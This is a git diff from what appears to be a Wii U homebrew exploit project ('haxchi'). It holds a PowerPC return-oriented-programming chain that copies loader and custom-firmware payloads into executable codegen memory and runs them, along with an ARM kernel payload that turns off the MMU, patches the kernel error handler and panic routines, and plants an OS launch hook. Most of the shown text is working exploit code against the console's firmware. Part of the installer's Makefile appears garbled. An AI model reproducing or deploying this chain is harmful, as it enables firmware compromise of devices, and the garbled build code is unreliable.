.word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; r30 + .word 0xDEAD0001 ; r31 + .word 0xDEAD0001 ; garbage + ; get r4 ready for the data we want to copy + .word LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR + .word 0xDEAD0001 ; garbage + .word core0rop ; r4 + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + ; prepare r31 to be a valid value for the next call + .word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR + .word 0xDEADBABE ; r30 + .word (HAX_TARGET_ADDRESS-0x3000) ; r31 (has to be valid here) + .word 0xDEAD0001 ; garbage + ; loads the required value for the addition onto r3 later on + .word LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + .word (0x00800000 - 0x30 + 0xAFC) ; r7 + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; r30 + .word 0xDEAD0001 ; r31 + .word 0xDEAD0001 ; garbage + ; loads pointer to new thread sp into r3 + .word LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR + .word (NERD_THREAD0OBJECT+4) ; r3 + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + ; r3 contains new thread sp end after this load + .word LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR + .word 0xDEAD0001 ; garbage + ; r3 contains code injection thread sp after this add + .word LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; r30 + .word 0xDEAD0001 ; r31 + .word 0xDEAD0001 ; garbage + ; jump to previously prepared r12 for memcpy + .word MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; r31 + .word 0xDEAD0001 ; garbage + + ; thread stack is prepared after this point + + ; wait for hbl_loader to do its job + call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0 + call_func NERD_JOINTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0 + + ; prepare system for foreground release + call_func OSSAVESDONE_READYTORELEASE, 0, 0, 0, 0 + + ; instruct all 3 cores to release foreground to prepare mii studio app launch + call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, OSRELEASEFOREGROUND, 0, thread0_param, 0x0, 0x0 + call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0 + + call_func_6args NERD_CREATETHREAD, NERD_THREAD2OBJECT, OSRELEASEFOREGROUND, 0, thread2_param, 0x0, 0x0 + call_func NERD_STARTTHREAD, NERD_THREAD2OBJECT, 0x0, 0x0, 0x0 + + ; we are the main thread in core 1 so we call this direct + call_func OSRELEASEFOREGROUND, 0, 0, 0, 0 + + ; launch mii studio app + .word _START_EXIT + + core0rop: + ; switch codegen to RW + call_func OSCODEGEN_SWITCHSECMODE, 0x0, 0x0, 0x0, 0x0 + + ; memcpy code + call_func MEMCPY, HBL_LOADER_ADR, hbl_loader, hbl_loader_end - hbl_loader, 0x0 + call_func MEMCPY, SELECTOR_ADDRESS, code, code_end - code, 0x0 + call_func MEMCPY, CFW_BOOTER_ADR, cfw_booter, cfw_booter_end - cfw_booter, 0x0 + call_func DC_FLUSHRANGE, HBL_LOADER_ADR, 0xE000, 0x0, 0x0 + + ; switch codegen to RX + call_func OSCODEGEN_SWITCHSECMODE, 0x1, 0x0, 0x0, 0x0 + call_func IC_INVALIDATERANGE, HBL_LOADER_ADR, 0xE000, 0x0, 0x0 + + ; execute hbl_loader in codegen + .word SELECTOR_ADDRESS + core0rop_end: + + ; core 0 thread params + output0_string: + .ascii "hax0thread" + .byte 0x00 + .align 0x4 + + thread0_param: + .word output0_string + .word 0x00800000 ; stack size + .word 0x00000010 ; thread prio + .halfword 0x0001 ; thread affinity (core0) + + ; core 2 thread params + output2_string: + .ascii "hax2thread" + .byte 0x00 + .align 0x4 + + thread2_param: + .word output2_string + .word 0x00800000 ; stack size + .word 0x00000010 ; thread prio + .halfword 0x0004 ; thread affinity (core2) + + code: + .incbin "code550.bin" + code_end: + + hbl_loader: + .incbin "hbl_loader.bin" + hbl_loader_end: + + cfw_booter: + .incbin "cfw_booter.bin" + cfw_booter_end: + +.Close diff --git a/hbl_loader/Makefile b/dsrom/hbl_loader/Makefile similarity index 100% rename from hbl_loader/Makefile rename to dsrom/hbl_loader/Makefile diff --git a/hbl_loader/README b/dsrom/hbl_loader/README similarity index 100% rename from hbl_loader/README rename to dsrom/hbl_loader/README diff --git a/hbl_loader/common.h b/dsrom/hbl_loader/common.h similarity index 100% rename from hbl_loader/common.h rename to dsrom/hbl_loader/common.h diff --git a/hbl_loader/coreinit.h b/dsrom/hbl_loader/coreinit.h similarity index 100% rename from hbl_loader/coreinit.h rename to dsrom/hbl_loader/coreinit.h diff --git a/hbl_loader/crt0.S b/dsrom/hbl_loader/crt0.S similarity index 100% rename from hbl_loader/crt0.S rename to dsrom/hbl_loader/crt0.S diff --git a/hbl_loader/elf_abi.h b/dsrom/hbl_loader/elf_abi.h similarity index 100% rename from hbl_loader/elf_abi.h rename to dsrom/hbl_loader/elf_abi.h diff --git a/hbl_loader/fs_defs.h b/dsrom/hbl_loader/fs_defs.h similarity index 100% rename from hbl_loader/fs_defs.h rename to dsrom/hbl_loader/fs_defs.h diff --git a/hbl_loader/kernel_patches.S b/dsrom/hbl_loader/kernel_patches.S similarity index 100% rename from hbl_loader/kernel_patches.S rename to dsrom/hbl_loader/kernel_patches.S diff --git a/hbl_loader/kexploit.c b/dsrom/hbl_loader/kexploit.c similarity index 100% rename from hbl_loader/kexploit.c rename to dsrom/hbl_loader/kexploit.c diff --git a/hbl_loader/kexploit.h b/dsrom/hbl_loader/kexploit.h similarity index 100% rename from hbl_loader/kexploit.h rename to dsrom/hbl_loader/kexploit.h diff --git a/hbl_loader/launcher.c b/dsrom/hbl_loader/launcher.c similarity index 100% rename from hbl_loader/launcher.c rename to dsrom/hbl_loader/launcher.c diff --git a/hbl_loader/logger.c b/dsrom/hbl_loader/logger.c similarity index 100% rename from hbl_loader/logger.c rename to dsrom/hbl_loader/logger.c diff --git a/hbl_loader/logger.h b/dsrom/hbl_loader/logger.h similarity index 100% rename from hbl_loader/logger.h rename to dsrom/hbl_loader/logger.h diff --git a/hbl_loader/os_defs.h b/dsrom/hbl_loader/os_defs.h similarity index 100% rename from hbl_loader/os_defs.h rename to dsrom/hbl_loader/os_defs.h diff --git a/hbl_loader/sd_loader/Makefile b/dsrom/hbl_loader/sd_loader/Makefile similarity index 100% rename from hbl_loader/sd_loader/Makefile rename to dsrom/hbl_loader/sd_loader/Makefile diff --git a/hbl_loader/sd_loader/src/crt0.S b/dsrom/hbl_loader/sd_loader/src/crt0.S similarity index 100% rename from hbl_loader/sd_loader/src/crt0.S rename to dsrom/hbl_loader/sd_loader/src/crt0.S diff --git a/hbl_loader/sd_loader/src/elf_abi.h b/dsrom/hbl_loader/sd_loader/src/elf_abi.h similarity index 100% rename from hbl_loader/sd_loader/src/elf_abi.h rename to dsrom/hbl_loader/sd_loader/src/elf_abi.h diff --git a/hbl_loader/sd_loader/src/entry.c b/dsrom/hbl_loader/sd_loader/src/entry.c similarity index 100% rename from hbl_loader/sd_loader/src/entry.c rename to dsrom/hbl_loader/sd_loader/src/entry.c diff --git a/hbl_loader/sd_loader/src/kernel_defs.h b/dsrom/hbl_loader/sd_loader/src/kernel_defs.h similarity index 100% rename from hbl_loader/sd_loader/src/kernel_defs.h rename to dsrom/hbl_loader/sd_loader/src/kernel_defs.h diff --git a/hbl_loader/sd_loader/src/kernel_hooks.S b/dsrom/hbl_loader/sd_loader/src/kernel_hooks.S similarity index 100% rename from hbl_loader/sd_loader/src/kernel_hooks.S rename to dsrom/hbl_loader/sd_loader/src/kernel_hooks.S diff --git a/hbl_loader/sd_loader/src/link.ld b/dsrom/hbl_loader/sd_loader/src/link.ld similarity index 100% rename from hbl_loader/sd_loader/src/link.ld rename to dsrom/hbl_loader/sd_loader/src/link.ld diff --git a/hbl_loader/sd_loader/src/loader_defs.h b/dsrom/hbl_loader/sd_loader/src/loader_defs.h similarity index 100% rename from hbl_loader/sd_loader/src/loader_defs.h rename to dsrom/hbl_loader/sd_loader/src/loader_defs.h diff --git a/hbl_loader/structs.h b/dsrom/hbl_loader/structs.h similarity index 100% rename from hbl_loader/structs.h rename to dsrom/hbl_loader/structs.h diff --git a/hbl_loader/types.h b/dsrom/hbl_loader/types.h similarity index 100% rename from hbl_loader/types.h rename to dsrom/hbl_loader/types.h diff --git a/kirby_defs.s b/dsrom/kirby_defs.s similarity index 100% rename from kirby_defs.s rename to dsrom/kirby_defs.s diff --git a/kirbymassattack_defs.s b/dsrom/kirbymassattack_defs.s similarity index 100% rename from kirbymassattack_defs.s rename to dsrom/kirbymassattack_defs.s diff --git a/mariokartds_defs.s b/dsrom/mariokartds_defs.s similarity index 100% rename from mariokartds_defs.s rename to dsrom/mariokartds_defs.s diff --git a/masterofdisguise_defs.s b/dsrom/masterofdisguise_defs.s similarity index 100% rename from masterofdisguise_defs.s rename to dsrom/masterofdisguise_defs.s diff --git a/newsmb_eur_defs.s b/dsrom/newsmb_eur_defs.s similarity index 100% rename from newsmb_eur_defs.s rename to dsrom/newsmb_eur_defs.s diff --git a/option_select/Makefile b/dsrom/option_select/Makefile similarity index 100% rename from option_select/Makefile rename to dsrom/option_select/Makefile diff --git a/option_select/coreinit.h b/dsrom/option_select/coreinit.h similarity index 100% rename from option_select/coreinit.h rename to dsrom/option_select/coreinit.h diff --git a/option_select/crt0.S b/dsrom/option_select/crt0.S similarity index 100% rename from option_select/crt0.S rename to dsrom/option_select/crt0.S diff --git a/option_select/main.c b/dsrom/option_select/main.c similarity index 100% rename from option_select/main.c rename to dsrom/option_select/main.c diff --git a/option_select/types.h b/dsrom/option_select/types.h similarity index 100% rename from option_select/types.h rename to dsrom/option_select/types.h diff --git a/partnersintime_defs.s b/dsrom/partnersintime_defs.s similarity index 100% rename from partnersintime_defs.s rename to dsrom/partnersintime_defs.s diff --git a/sfcommand_defs.s b/dsrom/sfcommand_defs.s similarity index 100% rename from sfcommand_defs.s rename to dsrom/sfcommand_defs.s diff --git a/sm64ds_defs.s b/dsrom/sm64ds_defs.s similarity index 100% rename from sm64ds_defs.s rename to dsrom/sm64ds_defs.s diff --git a/yoshids_defs.s b/dsrom/yoshids_defs.s similarity index 100% rename from yoshids_defs.s rename to dsrom/yoshids_defs.s diff --git a/zeldaph_defs.s b/dsrom/zeldaph_defs.s similarity index 100% rename from zeldaph_defs.s rename to dsrom/zeldaph_defs.s diff --git a/zeldast_defs.s b/dsrom/zeldast_defs.s similarity index 100% rename from zeldast_defs.s rename to dsrom/zeldast_defs.s diff --git a/zip/LICENSE b/dsrom/zip/LICENSE similarity index 100% rename from zip/LICENSE rename to dsrom/zip/LICENSE diff --git a/zip/zip.exe b/dsrom/zip/zip.exe similarity index 100% rename from zip/zip.exe rename to dsrom/zip/zip.exe diff --git a/installer/Makefile b/installer/Makefile new file mode 100644 index 0000000..c00ab95 --- /dev/null +++ b/installer/Makefile @@ -0,0 +1,235 @@ +#--------------------------------------------------------------------------------- +# Clear the implicit built in rules +#--------------------------------------------------------------------------------- +.SUFFIXES: +#--------------------------------------------------------------------------------- +ifeq ($(strip $(DEVKITPPC)),) +$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") +endif +ifeq ($(strip $(DEVKITPRO)),) +$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=devkitPRO") +endif +export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) +export LIBOGC_INC := $(DEVKITPRO)/libogc/include +export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii +export PORTLIBS := $(DEVKITPRO)/portlibs/ppc + +PREFIX := powerpc-eabi- + +export AS := $(PREFIX)as +export CC := $(PREFIX)gcc +export CXX := $(PREFIX)g++ +export AR := $(PREFIX)ar +export OBJCOPY := $(PREFIX)objcopy + +#--------------------------------------------------------------------------------- +# TARGET is the name of the output +# BUILD is the directory where object files & intermediate files will be placed +# SOURCES is a list of directories containing source code +# INCLUDES is a list of directories containing extra header files +#--------------------------------------------------------------------------------- +TARGET := haxchi +BUILD := build +BUILD_DBG := $(TARGET)_dbg +SOURCES := src \ + src/dynamic_libs \ + src/fs \ + src/system \ + src/utils +DATA := data + +INCLUDES := src payload + +#--------------------------------------------------------------------------------- +# options for code generation +#--------------------------------------------------------------------------------- +CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ + -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) +CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ + -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) +ASFLAGS := -mregnames +LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections + +#--------------------------------------------------------------------------------- +Q := @ +MAKEFLAGS += --no-print-directory +#--------------------------------------------------------------------------------- +# any extra libraries we wish to link with the project +#--------------------------------------------------------------------------------- +LIBS := -liosuhax -lxml2 -lm + +#--------------------------------------------------------------------------------- +# list of directories containing libraries, this must be the top level containing +# include and lib +#--------------------------------------------------------------------------------- +LIBDIRS := $(CURDIR) \ + $(DEVKITPPC)/lib + +#--------------------------------------------------------------------------------- +# no real need to edit anything past this point unless you need to add additional +# rules for different file extensions +#--------------------------------------------------------------------------------- +ifneq ($(BUILD),$(notdir $(CURDIR))) +#--------------------------------------------------------------------------------- +export PROJECTDIR := $(CURDIR) +export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) +export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ + $(foreach dir,$(DATA),$(CURDIR)/$(dir)) +export DEPSDIR := $(CURDIR)/$(BUILD) + +#--------------------------------------------------------------------------------- +# automatically build a list of object files for our project +#--------------------------------------------------------------------------------- +CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) +CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) +sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) +SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) +BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) + +#--------------------------------------------------------------------------------- +# use CXX for linking C++ projects, CC for standard C +#--------------------------------------------------------------------------------- +ifeq ($(strip $(CPPFILES)),) + export LD := $(CC) +else + export LD := $(CXX) +endif + +export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ + $(sFILES:.s=.o) $(SFILES:.S=.o) \ + $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) + +#--------------------------------------------------------------------------------- +# build a list of include paths +#--------------------------------------------------------------------------------- +export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ + $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ + -I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \ + -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 -I$(CURDIR)/libxml2/include + +#--------------------------------------------------------------------------------- +# build a list of library paths +#--------------------------------------------------------------------------------- +export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ + -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib -L$(CURDIR)/libxml2/lib + +export OUTPUT := $(CURDIR)/$(TARGET) +.PHONY: $(BUILD) clean install + +#--------------------------------------------------------------------------------- +$(BUILD): $(CURDIR)/payload/arm_kernel_bin.h + @[ -d $@ ] || mkdir -p $@ + @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile + +$(CURDIR)/payload/arm_kernel_bin.h: $(CURDIR)/payload/wupserver_bin.h $(CURDIR)/payload/arm_user_bin.h + @$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile + @-mkdir -p $(CURDIR)/payload + @cp -p $(CURDIR)/arm_kernel/arm_kernel_bin.h $@ + +$(CURDIR)/payload/wupserver_bin.h: + @$(MAKE) --no-print-directory -C $(CURDIR)/wupserver -f $(CURDIR)/wupserver/Makefile + @-mkdir -p $(CURDIR)/payload + @cp -p $(CURDIR)/wupserver/wupserver_bin.h $@ + +$(CURDIR)/payload/arm_user_bin.h: + @$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile + @-mkdir -p $(CURDIR)/payload + @cp -p $(CURDIR)/arm_user/arm_user_bin.h $@ + +#--------------------------------------------------------------------------------- +clean: + @echo clean ... + @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf $(CURDIR)/payload + @$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile clean + @$(MAKE) --no-print-directory -C $(CURDIR)/wupserver -f $(CURDIR)/wupserver/Makefile clean + @$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile clean + + +#--------------------------------------------------------------------------------- +else + +DEPENDS := $(OFILES:.o=.d) + +#--------------------------------------------------------------------------------- +# main targets +#--------------------------------------------------------------------------------- +$(OUTPUT).elf: $(OFILES) + +#--------------------------------------------------------------------------------- +# This rule links in binary data with the .jpg extension +#--------------------------------------------------------------------------------- +%.elf: link.ld $(OFILES) + @echo "linking ... $(TARGET).elf" + $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) + $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ + +../data/loader.bin: + $(MAKE) -C ../loader clean + $(MAKE) -C ../loader +#--------------------------------------------------------------------------------- +%.a: +#--------------------------------------------------------------------------------- + @echo $(notdir $@) + @rm -f $@ + @$(AR) -rc $@ $^ + +#--------------------------------------------------------------------------------- +%.o: %.cpp + @echo $(notdir $<) + @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.o: %.c + @echo $(notdir $<) + @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.o: %.S + @echo $(notdir $<) + @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.png.o : %.png + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.jpg.o : %.jpg + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.ttf.o : %.ttf + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.bin.o : %.bin + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.wav.o : %.wav + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.mp3.o : %.mp3 + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.ogg.o : %.ogg + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.zip.o : %.zip + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +-include $(DEPENDS) + +#--------------------------------------------------------------------------------- +endif +#--------------------------------------------------------------------------------- diff --git a/installer/arm_kernel/Makefile b/installer/arm_kernel/Makefile new file mode 100644 index 0000000..f9bc904 --- /dev/null +++ b/installer/arm_kernel/Makefile @@ -0,0 +1,72 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +# LINK = arm-none-eabi-gcc +LINK = arm-none-eabi-ld +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include +LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -o $(@) + echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ + +$(PROJECTNAME).elf: $(OFILES) + $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES)) + +clean: + @rm -f build/*.o build/*.d + @rmdir build 2>/nul; true + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h + @echo "all cleaned up !" + +-include $(DFILES) + +build/%.o: source/%.c + $(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo $(notdir $<) + @$(bin2o) diff --git a/installer/arm_kernel/link.ld b/installer/arm_kernel/link.ld new file mode 100644 index 0000000..c28ba4a --- /dev/null +++ b/installer/arm_kernel/link.ld @@ -0,0 +1,18 @@ +OUTPUT_ARCH(arm) + +MEMORY +{ + RAMX (rx) : ORIGIN = 0x08134100, LENGTH = 0x000BF00 +} + +SECTIONS +{ + .text : ALIGN(0x100) { + build/crt0.o(.init) + *(.text) + } + .rodata : { + *(.rodata*) + } +} + diff --git a/installer/arm_kernel/source/crt0.s b/installer/arm_kernel/source/crt0.s new file mode 100644 index 0000000..ae2a3b1 --- /dev/null +++ b/installer/arm_kernel/source/crt0.s @@ -0,0 +1,12 @@ +.section ".init" +.arm +.align 4 + +.extern _main +.type _main, %function + +.extern memset +.type memset, %function + +_start: + b _main diff --git a/installer/arm_kernel/source/main.c b/installer/arm_kernel/source/main.c new file mode 100644 index 0000000..3e5cc5c --- /dev/null +++ b/installer/arm_kernel/source/main.c @@ -0,0 +1,130 @@ +#include "types.h" +#include "utils.h" +#include "../../payload/arm_user_bin.h" +#include "../../payload/wupserver_bin.h" + +static const char repairData_set_fault_behavior[] = { + 0xE1,0x2F,0xFF,0x1E,0xE9,0x2D,0x40,0x30,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x40,0x00, + 0xE5,0x92,0x30,0x54,0xE1,0xA0,0x50,0x01,0xE3,0x53,0x00,0x01,0x0A,0x00,0x00,0x02, + 0xE1,0x53,0x00,0x00,0xE3,0xE0,0x00,0x00,0x18,0xBD,0x80,0x30,0xE3,0x54,0x00,0x0D, +}; +static const char repairData_set_panic_behavior[] = { + 0x08,0x16,0x6C,0x00,0x00,0x00,0x18,0x0C,0x08,0x14,0x40,0x00,0x00,0x00,0x9D,0x70, + 0x08,0x16,0x84,0x0C,0x00,0x00,0xB4,0x0C,0x00,0x00,0x01,0x01,0x08,0x14,0x40,0x00, + 0x08,0x15,0x00,0x00,0x08,0x17,0x21,0x80,0x08,0x17,0x38,0x00,0x08,0x14,0x30,0xD4, + 0x08,0x14,0x12,0x50,0x08,0x14,0x12,0x94,0xE3,0xA0,0x35,0x36,0xE5,0x93,0x21,0x94, + 0xE3,0xC2,0x2E,0x21,0xE5,0x83,0x21,0x94,0xE5,0x93,0x11,0x94,0xE1,0x2F,0xFF,0x1E, + 0xE5,0x9F,0x30,0x1C,0xE5,0x9F,0xC0,0x1C,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x10,0x00, + 0xE5,0x92,0x30,0x54,0xE5,0x9C,0x00,0x00, +}; +static const char repairData_usb_root_thread[] = { + 0xE5,0x8D,0xE0,0x04,0xE5,0x8D,0xC0,0x08,0xE5,0x8D,0x40,0x0C,0xE5,0x8D,0x60,0x10, + 0xEB,0x00,0xB2,0xFD,0xEA,0xFF,0xFF,0xC9,0x10,0x14,0x03,0xF8,0x10,0x62,0x4D,0xD3, + 0x10,0x14,0x50,0x00,0x10,0x14,0x50,0x20,0x10,0x14,0x00,0x00,0x10,0x14,0x00,0x90, + 0x10,0x14,0x00,0x70,0x10,0x14,0x00,0x98,0x10,0x14,0x00,0x84,0x10,0x14,0x03,0xE8, + 0x10,0x14,0x00,0x3C,0x00,0x00,0x01,0x73,0x00,0x00,0x01,0x76,0xE9,0x2D,0x4F,0xF0, + 0xE2,0x4D,0xDE,0x17,0xEB,0x00,0xB9,0x92,0xE3,0xA0,0x10,0x00,0xE3,0xA0,0x20,0x03, + 0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20, +}; + +/* from smealum's iosuhax: must be placed at 0x05059938 */ +static const char os_launch_hook[] = { + 0x47, 0x78, 0x00, 0x00, 0xe9, 0x2d, 0x40, 0x0f, 0xe2, 0x4d, 0xd0, 0x08, 0xeb, + 0xff, 0xfd, 0xfd, 0xe3, 0xa0, 0x00, 0x00, 0xeb, 0xff, 0xfe, 0x03, 0xe5, 0x9f, + 0x10, 0x4c, 0xe5, 0x9f, 0x20, 0x4c, 0xe3, 0xa0, 0x30, 0x00, 0xe5, 0x8d, 0x30, + 0x00, 0xe5, 0x8d, 0x30, 0x04, 0xeb, 0xff, 0xfe, 0xf1, 0xe2, 0x8d, 0xd0, 0x08, + 0xe8, 0xbd, 0x80, 0x0f, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x64, 0x63, 0x61, + 0x72, 0x64, 0x30, 0x31, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, 0x63, + 0x61, 0x72, 0x64, 0x00, 0x00, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, + 0x63, 0x61, 0x72, 0x64, 0x00, 0x05, 0x11, 0x60, 0x00, 0x05, 0x0b, 0xe0, 0x00, + 0x05, 0x0b, 0xcf, 0xfc, 0x05, 0x05, 0x99, 0x70, 0x05, 0x05, 0x99, 0x7e, +}; + +//static const char sd_path[] = "/vol/sdcard"; + +static unsigned int __attribute__((noinline)) disable_mmu(void) +{ + unsigned int control_register = 0; + asm volatile("MRC p15, 0, %0, c1, c0, 0" : "=r" (control_register)); + asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register & 0xFFFFEFFA)); + return control_register; +} + +static void __attribute__((noinline)) restore_mmu(unsigned int control_register) +{ + asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register)); +} + +int _main() +{ + int(*disable_interrupts)() = (int(*)())0x0812E778; + int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C; + void(*invalidate_icache)() = (void(*)())0x0812DCF0; + void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164; + void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160; + char* (*kernel_memcpy)(void*, void*, int) = (char*(*)(void*, void*, int))0x08131D04; + + flush_dcache(0x081200F0, 0x4001); // giving a size >= 0x4000 flushes all cache + + int level = disable_interrupts(); + + unsigned int control_register = disable_mmu(); + + /* Save the request handle so we can reply later */ + *(volatile u32*)0x01E10000 = *(volatile u32*)0x1016AD18; + + /* Patch kernel_error_handler to BX LR immediately */ + *(int*)0x08129A24 = 0xE12FFF1E; + + void * pset_fault_behavior = (void*)0x081298BC; + kernel_memcpy(pset_fault_behavior, (void*)repairData_set_fault_behavior, sizeof(repairData_set_fault_behavior)); + + void * pset_panic_behavior = (void*)0x081296E4; + kernel_memcpy(pset_panic_behavior, (void*)repairData_set_panic_behavior, sizeof(repairData_set_panic_behavior)); + + void * pusb_root_thread = (void*)0x10100174; + kernel_memcpy(pusb_root_thread, (void*)repairData_usb_root_thread, sizeof(repairData_usb_root_thread)); + + void * pUserBinSource = (void*)0x01E50000; + void * pUserBinDest = (void*)0x101312D0; + kernel_memcpy(pUserBinDest, 